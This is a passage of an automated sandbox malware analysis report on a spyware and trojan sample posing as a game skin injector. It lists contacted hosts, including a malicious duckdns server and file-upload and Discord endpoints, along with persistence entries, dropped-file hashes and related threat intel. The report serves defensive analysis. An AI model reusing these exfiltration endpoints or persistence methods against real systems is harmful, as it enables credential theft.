https://uploads.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929/assets	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354sCannot	w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	false		high
https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1696710290.0000000004B81000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19A1000.00000004.00000800.00020000.00000000.sdmp, Update.exe, 00000004.00000002.1684113590.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD/repos	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/R3nzTheCodeGOD/R3nzSkin	w85VkFOxiD.exe, 00000000.00000002.1683136202.0000000004810000.00000004.00000020.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000000.1640991159.00007FF67050A000.00000002.00000001.01000000.00000006.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/assets/160072559	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/zipball/v3.3.0	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000001.00000002.1696710290.000000000536C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1696710290.00000000054DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.apache.org/licenses/	SearchServices.exe, 00000005.00000003.1684576836.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/dev/peps/pep-0205/	SearchServices.exe, 00000005.00000003.1683515481.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929/assets	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD/orgs	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD/gists	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19A1000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD/received_events	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.g	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://avatars.githubusercontent.com/u/58574988?v=4	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cffi.readthedocs.io/en/latest/using.html#callbacks	SearchServices.exe	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.github.com	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD/starred	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD/subscriptions	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/tarball/v3.3.0	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.116.5	api.github.com	United States	36459	GITHUBUS	false
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
147.135.36.89	ipwho.is	United States	16276	OVHFR	false
92.44.20.216	bardu3662.duckdns.org	Turkey	34984	TELLCOM-ASTR	true
159.89.102.253	geolocation-db.com	United States	14061	DIGITALOCEAN-ASNUS	true
162.159.135.232	discord.com	United States	13335	CLOUDFLARENETUS	false
51.38.43.18	api.gofile.io	France	16276	OVHFR	false
31.14.70.245	store4.gofile.io	Virgin Islands (BRITISH)	199483	LINKER-ASFR	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1440251
Start date and time:	2024-05-12 23:36:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	72
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	9
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	w85VkFOxiD.exe renamed because original name is a hash value
Original Sample Name:	4BB4FF4B1FA6C7E122557D8A55826242.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.winEXE@103/171@9/9
EGA Information:	Successful, ratio: 84.6%
HCA Information:	Successful, ratio: 58% Number of executed functions: 241 Number of non-executed functions: 182
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, RuntimeBroker.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 20.190.151.70, 20.190.151.9, 20.190.151.133, 20.190.151.132, 20.190.151.8, 20.190.151.131, 20.190.151.67, 20.190.151.68
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target R3nzSkin_Injector.exe, PID 2664 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3336 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:37:03	Task Scheduler	Run new task: Update path: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe
22:37:12	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe
23:36:58	API Interceptor	45x Sleep call for process: powershell.exe modified
23:37:05	API Interceptor	8638x Sleep call for process: RuntimeBroker.exe modified
23:37:05	API Interceptor	1x Sleep call for process: R3nzSkin_Injector.exe modified
23:37:43	API Interceptor	434542x Sleep call for process: winlogon.exe modified
23:37:46	API Interceptor	318517x Sleep call for process: lsass.exe modified
23:37:46	API Interceptor	2728x Sleep call for process: svchost.exe modified
23:37:48	API Interceptor	1905x Sleep call for process: dialer.exe modified
23:37:49	API Interceptor	385727x Sleep call for process: dwm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
	lods.cmd	Get hash	malicious	Remcos	Browse	api.ipify.org/
147.135.36.89	XS3sNotzzw.exe	Get hash	malicious	Unknown	Browse	/?output=json
147.135.36.89	XS3sNotzzw.exe	Get hash	malicious	Unknown	Browse	/?output=json
159.89.102.253	skidclient.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse
	SecuriteInfo.com.Python.Stealer.1437.14994.32063.exe	Get hash	malicious	Python Stealer	Browse
	SecuriteInfo.com.Python.Stealer.1447.10844.3562.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse
	ACH REMITTANCE DOCUMENT 04.12.24.xlsb	Get hash	malicious	HTMLPhisher	Browse
	ACH REMITTANCE DOCUMENT 04.12.24.xlsb	Get hash	malicious	HTMLPhisher	Browse
	1712933504-105815-12562-3777-1.eml	Get hash	malicious	HTMLPhisher	Browse
	http://mayanboats.com	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.MacOS.ReverseShell-C.28203.22681.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse
	https://form.questionscout.com/65f304ba0f97805394312ead	Get hash	malicious	Unknown	Browse
	https://form.questionscout.com/65f2bbc50f97807913312091	Get hash	malicious	HTMLPhisher	Browse
162.159.135.232	S23UhdW5DH.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	discord.com/admin.php
162.159.135.232	18561381.exe	Get hash	malicious	RedLine	Browse	discord.com/channels/948610961449816084/948610961449816086/948611091527774228

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, EICAR, RedLine, StormKitty, VenomRAT	Browse	162.159.137.232
	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	162.159.136.232
	SecuriteInfo.com.Python.Stealer.1210.4443.27895.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse	162.159.137.232
	SecuriteInfo.com.Win64.Evo-gen.14698.6542.exe	Get hash	malicious	Python Stealer	Browse	162.159.136.232
	SecuriteInfo.com.Win64.Evo-gen.30282.27180.exe	Get hash	malicious	Python Stealer	Browse	162.159.138.232
	DiscordOptimizer__v1.1.8.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, Empyrean	Browse	162.159.138.232
	skidclient.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	162.159.128.233
	DevxExecutor.exe	Get hash	malicious	Python Stealer, Blank Grabber, CStealer, Discord Token Stealer, Millenuim RAT	Browse	162.159.138.232
	krampus.exe	Get hash	malicious	Blank Grabber	Browse	162.159.136.232
	ByfronExecutor.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, Empyrean	Browse	162.159.135.232
api.github.com	https://github.com/limiteci/WannaCry	Get hash	malicious	Wannacry	Browse	140.82.114.5
	https://github.com/oLDschollBozz/BF2042Galaxy	Get hash	malicious	PureLog Stealer, zgRAT	Browse	140.82.112.6
	https://github.com/ytisf/theZoo/blob/master/malware/Binaries/Artemis/Artemis.sha256	Get hash	malicious	Unknown	Browse	140.82.114.5
	https://github.com/ytisf/theZoo/blob/master/malware/Binaries/Artemis/Artemis.sha256	Get hash	malicious	Unknown	Browse	140.82.114.6
	https://pub-9af459faa3e54a63ae5d1f2be8790ad0.r2.dev/get-authenticated.html	Get hash	malicious	Unknown	Browse	140.82.114.5
	Isass.exe	Get hash	malicious	Unknown	Browse	140.82.113.5
	Isass.exe	Get hash	malicious	Unknown	Browse	140.82.113.5
	http://github.com/chrisant996/clink/releases/download/v1.6.12/clink.1.6.12.5cd618.zip	Get hash	malicious	Unknown	Browse	140.82.112.6
	https://www.joesandbox.com/login	Get hash	malicious	Unknown	Browse	140.82.112.5
	https://yesterwebring.neocities.org	Get hash	malicious	Phisher	Browse	140.82.114.5
store4.gofile.io	9afaXJv52z.exe	Get hash	malicious	Exela Stealer	Browse	31.14.70.245
	NoBackend.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	Microsoft_Teams_SC.ba#.bat	Get hash	malicious	Unknown	Browse	31.14.70.245
	c0PZAXHMCpdh5F1.exe	Get hash	malicious	Clipboard Hijacker, Redline Clipper, Stealerium	Browse	31.14.70.245
	5a7TEjoYQp.exe	Get hash	malicious	Xmrig	Browse	31.14.70.245
	wins9c8hG6.exe	Get hash	malicious	Raccoon Stealer v2, Xmrig	Browse	31.14.70.245
	GameInject.exe	Get hash	malicious	Xmrig	Browse	31.14.70.245
	KfpMPicGie.exe	Get hash	malicious	RedLine, Xmrig	Browse	31.14.70.245
	Install.exe	Get hash	malicious	RedLine, Xmrig	Browse	31.14.70.245
	a79qM8CfJQ.exe	Get hash	malicious	RedLine, Xmrig	Browse	31.14.70.245
ipwho.is	https://techssupport.z13.web.core.windows.net/Wi0n0MntyEr00170887/index.html	Get hash	malicious	TechSupportScam	Browse	108.181.98.179
	https://tron2qu8g.z13.web.core.windows.net/Apple0s01Ersys44/index.html	Get hash	malicious	TechSupportScam	Browse	108.181.98.179
	https://uumm6-secondary.z13.web.core.windows.net/werrx01USAHTML/?bcda=1-855-399-1004	Get hash	malicious	TechSupportScam	Browse	108.181.98.179
	https://tronkf5r1.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	108.181.98.179
	SecuriteInfo.com.Trojan.PWS.Stealer.36926.30402.31658.exe	Get hash	malicious	Unknown	Browse	15.204.213.5
	SecuriteInfo.com.Trojan.PWS.Stealer.36926.30402.31658.exe	Get hash	malicious	Unknown	Browse	147.135.36.89
	JGomKnothX.exe	Get hash	malicious	Quasar	Browse	15.204.213.5
	https://berni.blob.core.windows.net/$web/index.html	Get hash	malicious	TechSupportScam	Browse	15.204.213.5
	https://llk20.z1.web.core.windows.net/werrx01USAHTML/?bcda=1-727-322-3809	Get hash	malicious	TechSupportScam	Browse	15.204.213.5
	Dy4Oz8C1yF.exe	Get hash	malicious	Quasar	Browse	15.204.213.5
bg.microsoft.map.fastly.net	SecuriteInfo.com.Win64.Evo-gen.14698.6542.exe	Get hash	malicious	Python Stealer	Browse	199.232.210.172
	yndoUKWawK.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	199.232.210.172
	http://144.129.183.242	Get hash	malicious	Unknown	Browse	199.232.214.172
	yGn9saDnXX.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	199.232.210.172
	SecuriteInfo.com.Win32.Evo-gen.10308.24400.exe	Get hash	malicious	LummaC	Browse	199.232.214.172
	https://pub-7434a3cb257e42d8a78b15b37be8272b.r2.dev/adobe2024.html	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://www.admin-longin.co.jp.czshypsp.work/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://card.yahellocaed.top/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://paypay-jpaccount.com/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://mufg-real.com/	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, EICAR, RedLine, StormKitty, VenomRAT	Browse	104.16.184.241
	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	172.67.196.114
	w1uGXDYsze.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.145.174
	h5jtx8DXVf.elf	Get hash	malicious	Unknown	Browse	104.16.155.34
	HepvgtsxX7.elf	Get hash	malicious	Mirai	Browse	104.24.135.177
	JvULMWY21C.elf	Get hash	malicious	Unknown	Browse	104.16.179.62
	3noHaWnI4J.elf	Get hash	malicious	Unknown	Browse	1.8.124.121
	NnS9ImJPht.elf	Get hash	malicious	Unknown	Browse	104.20.204.139
	fx28wfnZ4J.exe	Get hash	malicious	Babuk, Djvu, PrivateLoader, SmokeLoader	Browse	172.67.139.220
	8DR4MV2b0i.elf	Get hash	malicious	Mirai	Browse	8.47.110.64
OVHFR	Gj3ajUucBo.elf	Get hash	malicious	Mirai	Browse	164.132.7.54
	FaKcYgqu4i.elf	Get hash	malicious	Unknown	Browse	188.165.6.107
	ON4VDtFMWC.elf	Get hash	malicious	Mirai	Browse	192.99.119.231
	spss2Dwal5.elf	Get hash	malicious	Unknown	Browse	51.91.97.40
	oWOpDWITT1.elf	Get hash	malicious	Unknown	Browse	178.33.196.94
	JvULMWY21C.elf	Get hash	malicious	Unknown	Browse	217.182.97.147
	SecuriteInfo.com.Win64.Evo-gen.14698.6542.exe	Get hash	malicious	Python Stealer	Browse	51.38.43.18
	3rFz8BnDmn.elf	Get hash	malicious	Mirai	Browse	151.80.169.55
	skidclient.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	51.38.43.18
	Dqt8w3JewZ.elf	Get hash	malicious	Mirai	Browse	51.75.252.222
GITHUBUS	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.27615.8715.exe	Get hash	malicious	Unknown	Browse	140.82.116.4
	https://github.com/limiteci/WannaCry	Get hash	malicious	Wannacry	Browse	140.82.113.22
	https://github.com/oLDschollBozz/BF2042Galaxy	Get hash	malicious	PureLog Stealer, zgRAT	Browse	140.82.114.22
	SecuriteInfo.com.FileRepMalware.16991.21545.exe	Get hash	malicious	Unknown	Browse	140.82.113.4
	Tool-Scan-Proxy.doc	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	140.82.112.3
	Dekont.jar	Get hash	malicious	STRRAT	Browse	140.82.114.4
	Dekont.jar	Get hash	malicious	STRRAT	Browse	140.82.112.4
	PO#093487.js	Get hash	malicious	STRRAT	Browse	140.82.113.3
	MDE_File_Sample_1e6015f93d85f7b9e57857c379892348775dbb40.zip	Get hash	malicious	Unknown	Browse	140.82.112.4
	k5Xx8h8nPx.jar	Get hash	malicious	STRRAT	Browse	140.82.113.3
TELLCOM-ASTR	mC7Qm2oo1D.elf	Get hash	malicious	Unknown	Browse	176.232.94.249
	y7wPhewB9V.elf	Get hash	malicious	Mirai	Browse	176.233.94.117
	3VNMEX6A6N.elf	Get hash	malicious	Mirai	Browse	212.253.9.48
	z8s945rPmZ.exe	Get hash	malicious	SystemBC	Browse	176.236.59.2
	Y0gm1e2z6O.elf	Get hash	malicious	Mirai	Browse	176.88.156.112
	Ctnox9WBxZ.elf	Get hash	malicious	Unknown	Browse	176.43.171.110
	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	176.232.133.135
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	176.42.181.239
	Hs97Nxxy5u.elf	Get hash	malicious	Mirai	Browse	176.41.119.219
	NMdpQecbkg.elf	Get hash	malicious	Mirai	Browse	176.233.149.99

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	skidclient.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	31.14.70.245
	Tool-Scan-Proxy.doc	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	31.14.70.245
	08-May-24-document-38438dbb.jar	Get hash	malicious	DarkGate, MailPassView	Browse	31.14.70.245
	08-May-24-document-38438dbb.jar	Get hash	malicious	DarkGate, MailPassView	Browse	31.14.70.245
	stub.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	H3t9AJx35U.exe	Get hash	malicious	PrivateLoader	Browse	31.14.70.245
	23-April-24-ACH-29be82ea.jar	Get hash	malicious	Unknown	Browse	31.14.70.245
	https://upd100.appspot.com/update/u.bat	Get hash	malicious	Unknown	Browse	31.14.70.245
	knfV5IVjEV.lnk	Get hash	malicious	Unknown	Browse	31.14.70.245
	SecuriteInfo.com.Python.Stealer.1437.14994.32063.exe	Get hash	malicious	Python Stealer	Browse	31.14.70.245
3b5074b1b5d032e5620f69f9f700ff0e	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, EICAR, RedLine, StormKitty, VenomRAT	Browse	140.82.116.5 147.135.36.89
	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	140.82.116.5 147.135.36.89
	w1uGXDYsze.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	140.82.116.5 147.135.36.89
	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.27615.8715.exe	Get hash	malicious	Unknown	Browse	140.82.116.5 147.135.36.89
	CashKamera.exe	Get hash	malicious	Cash Ransomware, PureLog Stealer, TrojanRansom, zgRAT	Browse	140.82.116.5 147.135.36.89
	Nvidia.exe	Get hash	malicious	Cash Ransomware, PureLog Stealer, TrojanRansom, zgRAT	Browse	140.82.116.5 147.135.36.89
	zune.exe	Get hash	malicious	Cash Ransomware, PureLog Stealer, TrojanRansom, zgRAT	Browse	140.82.116.5 147.135.36.89
	C_RAAS.exe	Get hash	malicious	Cash Ransomware, PureLog Stealer, TrojanRansom, zgRAT	Browse	140.82.116.5 147.135.36.89
	MicroSIP.exe	Get hash	malicious	Cash Ransomware, PureLog Stealer, TrojanRansom, zgRAT	Browse	140.82.116.5 147.135.36.89
	Radiogram.exe	Get hash	malicious	RedLine	Browse	140.82.116.5 147.135.36.89

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_ARC4.pyd	skidclient.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse
	Tool-Scan-Proxy.doc	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	SecuriteInfo.com.Python.Stealer.1437.14994.32063.exe	Get hash	malicious	Python Stealer	Browse
	RO-EXEC.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	7LZiZA4D6h.exe	Get hash	malicious	Python Stealer	Browse
	7LZiZA4D6h.exe	Get hash	malicious	Python Stealer	Browse
	SecuriteInfo.com.Python.Muldrop.25.17602.16093.exe	Get hash	malicious	Blank Grabber, CStealer	Browse
	LaZagne.exe	Get hash	malicious	LaZagne, Mimikatz	Browse
	SecuriteInfo.com.Python.CrealStealer.4.28055.30099.exe	Get hash	malicious	Creal Stealer	Browse
	ICLOUDSTEALER.exe	Get hash	malicious	Creal Stealer, Xmrig	Browse

Created / dropped Files

C:\ProgramData\xskudridktfu\vmarkghgnurz.exe

Download File

Process:	C:\Users\user\AppData\Local\SecurityHealthServices.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2939256
Entropy (8bit):	6.581663132520867
Encrypted:	false
SSDEEP:	49152:eu4p2h9N1u2rb77JfP1isatSQqfGyb+KwIE/W0HAGEFDeco45ZNQbUr90xmubl:P4pUu2rb71fPnphuybFwIurQDpnNQ2qt
MD5:	5143FE6D0C9218C03877131E7FF8F195
SHA1:	4BB288F628D2E6D498F79196D7B94400F6E4A3C0
SHA-256:	CC0323377F6720D55FE5FFFB473BAB139A6B3C26B2FF9F5B0433CAAD1FDB3280
SHA-512:	9C4194EA2DFD10267ED8FC2B21D6B82A1425254CD6BAE28E4727EE93FF4B1888DB24FB92AE8A1A7E46759AD39DB45DFF774B2F2795CA115DF3E0166A3821C291
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63% Antivirus: Virustotal, Detection: 63%, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...Y.3f.........."...........+.....@..........@.............................0-...........`..................................................`..<.............,.......,.x)... -.x............................0..(....4..8............a..p............................text............................... ..`.rdata...7...0...8..................@..@.data....}+..p...X+..P..............@....pdata........,.......,.............@..@.00cfg........-.......,.............@..@.tls..........-.......,.............@....reloc..x.... -.......,.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69993
Entropy (8bit):	7.99584879649948
Encrypted:	true
SSDEEP:	1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5:	29F65BA8E88C063813CC50A4EA544E93
SHA1:	05A7040D5C127E68C25D81CC51271FFB8BEF3568
SHA-256:	1ED81FA8DFB6999A9FEDC6E779138FFD99568992E22D300ACD181A6D2C8DE184
SHA-512:	E29B2E92C496245BED3372578074407E8EF8882906CE10C35B3C8DEEBFEFE01B5FD7F3030ACAA693E175F4B7ACA6CD7D8D10AE1C731B09C5FA19035E005DE3AA
Malicious:	false
Preview:	MSCF....i.......,...................I.................oXAy .authroot.stl.Ez..Q6..CK..<Tk...p.k..1...3...[..%Y.f..."K.6)..[I.hOB."..rK.RQ..}f..f...}....9.\|.....gA...30.,O2L...0..%.U...U.t.....`dqM2.x..t...<(uad.c...x5V.x..t..agd.v......i...KD..q(. ...JJ......#..'=. ...3.x...}...+T.K..!.'.`w .!.x.r.......YafhG..O.3....'P[..'.D../....n..t....R<..=\E7L0?{..T.f...ID...,...r....3z..O/.b.Iwx.. .o...a\.s........."..'.......<;s.[...l...6.)ll..B.P.....k.... k0.".t!/.,........{...P8....B..0(.. .Q.....d...q,\.$.n.Q.\.p...R..:.hr./..8.S<a.s...+#3....D..h1.a.0....{.9.....:e.......n.~G.{.M.1..OU.....B.Q..y_>.P{...}i.=.a..QQT.U..\|!.pyCD@.....l..70..w..)...W^.`l...%Y.\................i..=hYV.O8W@P.=.r.=..1m..1....)\.p..\|.c.3..t..[...).....l.{.Y....\S.....y....[.mCt....Js;...H....Q..F.....g.O...[..A.=...F[..z....k...mo.lW{`....O...T.g.Y.Uh.;m.'.N..f..}4..9i..t4p_bI..`.....Ie..l.P.... ...Lg......[....5g...~D.s.h'>n.m.c.7...-..P.gG...i$...v.m.b[.yO.P/*.YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe
File Type:	data
Category:	dropped
Size (bytes):	330
